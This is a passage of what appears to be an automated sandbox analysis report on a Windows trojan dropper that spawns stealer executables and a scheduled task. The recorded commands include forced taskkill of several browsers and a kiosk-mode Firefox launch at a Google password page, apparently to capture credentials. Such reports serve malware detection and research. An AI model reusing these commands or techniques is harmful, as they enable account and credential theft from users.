Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50225 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 67333e07f4.exe, 0000000A.00000002.2008472659.0000000000BD2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_cc3e9c31-9
Source: 67333e07f4.exe, 0000000A.00000002.2008472659.0000000000BD2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_6bd627ff-1

PE file contains section with special chars

Source: ykDoK8BtxW.exe	Static PE information: section name:
Source: ykDoK8BtxW.exe	Static PE information: section name:
Source: ykDoK8BtxW.exe	Static PE information: section name:
Source: ykDoK8BtxW.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .rsrc
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: 6e2c49386e.exe.1.dr	Static PE information: section name:
Source: 6e2c49386e.exe.1.dr	Static PE information: section name: .rsrc
Source: 6e2c49386e.exe.1.dr	Static PE information: section name: .idata
Source: 6e2c49386e.exe.1.dr	Static PE information: section name:
Source: random[1].exe1.1.dr	Static PE information: section name:
Source: random[1].exe1.1.dr	Static PE information: section name: .idata
Source: ff3d383111.exe.1.dr	Static PE information: section name:
Source: ff3d383111.exe.1.dr	Static PE information: section name: .idata
Source: 9c961c26ae.exe.1.dr	Static PE information: section name:
Source: 9c961c26ae.exe.1.dr	Static PE information: section name: .rsrc
Source: 9c961c26ae.exe.1.dr	Static PE information: section name: .idata
Source: 9c961c26ae.exe.1.dr	Static PE information: section name:
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: section name:
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: section name: .idata
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name:
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name: .idata
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: section name:
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: section name:
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: section name: .idata
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name:
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name: .idata
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe BA88D479A847561DEE258B2B04C7C31C9C58F50F8FD9721ADC41E78238861929
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: ykDoK8BtxW.exe

Static PE information: invalid certificate

Source: ykDoK8BtxW.exe	Binary or memory string: OriginalFilename vs ykDoK8BtxW.exe
Source: ykDoK8BtxW.exe, 00000000.00000003.1668712426.0000000001741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Office.Tools.Common.v4.0.Utilities.dlllJ vs ykDoK8BtxW.exe
Source: ykDoK8BtxW.exe, 00000000.00000002.1671149522.00000000007E9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Office.Tools.Common.v4.0.Utilities.dlllJ vs ykDoK8BtxW.exe
Source: ykDoK8BtxW.exe, 00000000.00000003.1663109730.0000000001741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Office.Tools.Common.v4.0.Utilities.dlllJ vs ykDoK8BtxW.exe
Source: ykDoK8BtxW.exe, 00000000.00000002.1673526005.0000000001741000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Office.Tools.Common.v4.0.Utilities.dlllJ vs ykDoK8BtxW.exe
Source: ykDoK8BtxW.exe, 00000000.00000000.1645575295.00000000007E9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Office.Tools.Common.v4.0.Utilities.dlllJ vs ykDoK8BtxW.exe

Source: ykDoK8BtxW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ykDoK8BtxW.exe	Static PE information: Section: ZLIB complexity 0.9993552183493589
Source: ykDoK8BtxW.exe	Static PE information: Section: ZLIB complexity 0.9990885416666667
Source: ykDoK8BtxW.exe	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9993552183493589
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9990885416666667
Source: skotes.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: random[1].exe.1.dr	Static PE information: Section: fefgvzwf ZLIB complexity 0.9950002834038694
Source: 6e2c49386e.exe.1.dr	Static PE information: Section: fefgvzwf ZLIB complexity 0.9950002834038694
Source: random[1].exe1.1.dr	Static PE information: Section: ZLIB complexity 0.9979917711598746
Source: ff3d383111.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9979917711598746
Source: 9c961c26ae.exe.1.dr	Static PE information: Section: fefgvzwf ZLIB complexity 0.9950002834038694
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: Section: whlejstb ZLIB complexity 0.9943736210438223
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: Section: whlejstb ZLIB complexity 0.9943736210438223

Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@83/39@95/14

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7584:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2476:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7796:120:WilError_03

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ff3d383111.exe, 00000004.00000003.1842323733.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.000000000588A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976010005.00000000058A4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ykDoK8BtxW.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

File read: C:\Users\user\Desktop\ykDoK8BtxW.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ykDoK8BtxW.exe "C:\Users\user\Desktop\ykDoK8BtxW.exe"
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe "C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe "C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe "C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe "C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe"
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2252 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f00b1ec6-11cd-45b2-bfc2-9bdb63de9eab} 7880 "\\.\pipe\gecko-crash-server-pipe.7880" 16ba486dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3132 -parentBuildID 20230927232528 -prefsHandle 2956 -prefMapHandle 3660 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6852bc5e-f575-47e1-8a9b-615e72a256ad} 7880 "\\.\pipe\gecko-crash-server-pipe.7880" 16ba4882d10 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002978001\num.exe "C:\Users\user\AppData\Local\Temp\1002978001\num.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe "C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe "C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe "C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe"
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe "C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe"
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe "C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002978001\num.exe "C:\Users\user\AppData\Local\Temp\1002978001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe "C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe"
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe "C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe "C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe"
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2268 -prefMapHandle 2252 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec19fbe6-5676-42fb-b5cd-139fd98d46db} 3120 "\\.\pipe\gecko-crash-server-pipe.3120" 1698bf71110 socket
Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe "C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe "C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe "C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002978001\num.exe "C:\Users\user\AppData\Local\Temp\1002978001\num.exe"	Jump to behavior
